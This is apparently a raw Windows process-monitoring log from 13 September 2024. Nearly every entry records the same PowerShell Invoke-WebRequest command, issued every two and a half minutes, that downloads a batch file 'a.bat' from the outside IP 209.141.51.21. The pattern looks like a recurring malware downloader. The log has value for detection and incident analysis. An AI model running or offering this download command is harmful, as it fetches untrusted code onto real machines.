C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:09:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:12:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:14:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:17:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:19:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:22:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:24:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:27:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:29:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:32:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:34:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:37:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:39:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:42:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:44:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:47:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:49:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:52:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:54:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:57:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 00:59:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:02:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:04:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:07:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:09:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:12:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:14:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:17:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:19:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:22:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:24:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:27:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:29:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:32:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:34:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:37:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:39:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:42:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:44:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:47:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:49:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:52:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:54:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:57:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 01:59:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:02:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:04:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:07:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:09:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:12:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:17:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:19:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:22:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:24:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:27:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:29:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:32:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:34:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:37:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:39:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:42:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:44:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:47:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:49:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:52:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:54:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:57:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 02:59:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:02:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:04:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:07:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:09:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:12:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:14:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:17:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:19:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:22:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:25:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:27:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:30:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:32:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:35:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:37:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:40:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:42:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:45:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:47:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:50:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:52:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:55:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 03:57:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:00:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:02:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:05:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:07:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:10:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:12:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:15:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:17:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:20:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:22:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:25:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:27:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:30:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:32:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:35:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:37:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:40:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:42:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:45:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:47:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:50:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:52:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:55:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 04:57:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:00:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:02:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:05:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:07:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:10:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:12:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:15:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:17:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:20:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:22:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:25:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:27:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:30:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:32:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:35:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:37:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:40:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:42:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 05:45:16 NOTIFY: PROCESS 